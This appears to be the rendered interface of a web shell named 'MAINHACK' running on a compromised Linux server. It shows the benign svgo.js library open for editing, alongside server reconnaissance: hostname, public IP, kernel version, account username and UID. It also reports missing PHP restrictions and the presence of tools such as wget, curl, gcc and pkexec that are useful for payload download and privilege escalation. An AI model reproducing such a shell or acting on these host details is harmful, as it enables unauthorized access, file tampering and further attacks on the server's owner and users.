[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: svgo.js
'use strict'; const { defaultPlugins, resolvePluginConfig, extendDefaultPlugins, } = require('./svgo/config.js'); const { parseSvg } = require('./parser.js'); const { stringifySvg } = require('./stringifier.js'); const { invokePlugins } = require('./svgo/plugins.js'); const JSAPI = require('./svgo/jsAPI.js'); const { encodeSVGDatauri } = require('./svgo/tools.js'); exports.extendDefaultPlugins = extendDefaultPlugins; const optimize = (input, config) => { if (config == null) { config = {}; } if (typeof config !== 'object') { throw Error('Config should be an object'); } const maxPassCount = config.multipass ? 10 : 1; let prevResultSize = Number.POSITIVE_INFINITY; let svgjs = null; const info = {}; if (config.path != null) { info.path = config.path; } for (let i = 0; i < maxPassCount; i += 1) { info.multipassCount = i; // TODO throw this error in v3 try { svgjs = parseSvg(input, config.path); } catch (error) { return { error: error.toString(), modernError: error }; } if (svgjs.error != null) { if (config.path != null) { svgjs.path = config.path; } return svgjs; } const plugins = config.plugins || defaultPlugins; if (Array.isArray(plugins) === false) { throw Error( "Invalid plugins list. Provided 'plugins' in config should be an array." ); } const resolvedPlugins = plugins.map(resolvePluginConfig); const globalOverrides = {}; if (config.floatPrecision != null) { globalOverrides.floatPrecision = config.floatPrecision; } svgjs = invokePlugins(svgjs, info, resolvedPlugins, null, globalOverrides); svgjs = stringifySvg(svgjs, config.js2svg); if (svgjs.data.length < prevResultSize) { input = svgjs.data; prevResultSize = svgjs.data.length; } else { if (config.datauri) { svgjs.data = encodeSVGDatauri(svgjs.data, config.datauri); } if (config.path != null) { svgjs.path = config.path; } return svgjs; } } return svgjs; }; exports.optimize = optimize; /** * The factory that creates a content item with the helper methods. * * @param {Object} data which is passed to jsAPI constructor * @returns {JSAPI} content item */ const createContentItem = (data) => { return new JSAPI(data); }; exports.createContentItem = createContentItem;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002